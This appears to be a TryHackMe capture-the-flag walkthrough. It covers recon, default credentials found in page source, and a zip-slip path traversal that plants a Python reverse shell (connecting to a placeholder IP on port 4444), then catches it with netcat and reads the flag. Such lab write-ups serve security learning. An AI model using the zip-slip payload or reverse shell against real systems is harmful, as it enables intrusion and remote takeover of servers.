TryHackMe Room: "The Hollow Shell" Walkthrough

IntroductionThe The Hollow Shell room on TryHackMe focuses on web application vulnerabilities, specifically dealing with insecure ZIP file handling and Path Traversal flaws that ultimately lead to Remote Code Execution (RCE) and system access.

1. Reconnaissance & Port ScanningWe started by scanning the target IP using Nmap to identify open ports and services:

Command: nmap -sV -sC

Results: The scan revealed SSH on port 22 and an HTTP web service running on port 5000 hosted via Gunicorn, titled Byte Lotus — Room Service.

2. Directory EnumerationWe used Gobuster to discover hidden directories and web paths on the application:

Command: gobuster dir -u http://:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Results: The enumeration uncovered key functional paths:

/login (Main staff sign-in page)

/upload (File upload feature)

/dashboard (Service dashboard panel)

1. Logging into the Dashboard

By reviewing the HTML source code of the login page, we found default starter credentials provided by IT for staff members:

Username : concierge

Password : StayNoticed2024!

Using these credentials, we successfully logged into the dashboard (/dashboard) and accessed the shell upload functionality.

1. Exploitation & RCE (Path Traversal via ZIP Upload)

The upload feature accepts ZIP archives containing display assets. To exploit this, we used the nano text editor to create a Python script named app.py:

Command: nano app.py

The upload feature accepts ZIP archives containing display assets. Using a Python script, we crafted a malicious ZIP file leveraging a path traversal vulnerability to write a Python payload into an external hooks directory (../../hooks/callback.py), which executes a reverse shell:

import zipfile

payload_content = b"""import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('YOUR_IP', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn('/bin/sh')
"""

with zipfile.ZipFile('reverse.zip', 'w') as zf:
info = zipfile.ZipInfo('../../hooks/callback.py')
zf.writestr(info, payload_content)
zf.writestr('shell.json', '{"name": "rev-shell", "version": "1.0", "assets": []}')

print("[+] ZIP generated with safe 2-level traversal!")

After saving the file in nano, we executed the script to generate the payload:

Command: python3 app.py

Output: [+] ZIP generated with safe 2-level traversal!

We then verified the creation of the reverse.zip file using the
ls command.

Next, we prepared to catch the connection:

Listener Setup: We started a Netcat listener on our attack machine using

nc -lvnp 4444

Execution: After uploading (reverse.zip) through the web dashboard, the theme worker processed the hooks, successfully triggering our reverse shell.

1. Shell Upgrade & Finding the Flag Upon receiving the initial shell connection on our Netcat listener, we upgraded it to a fully interactive shell using Python:

---

Command: python3 -c 'import pty; pty.spawn("/bin/bash")'

Finally, we navigated through the system to retrieve the flag:

We moved to the home directory using cd /home and identified the roomservice user.

Navigating into it (cd roomservice), we listed the contents with ls and located flag.txt.

We read the flag using cat flag.txt to successfully complete the room.

THM{.........................}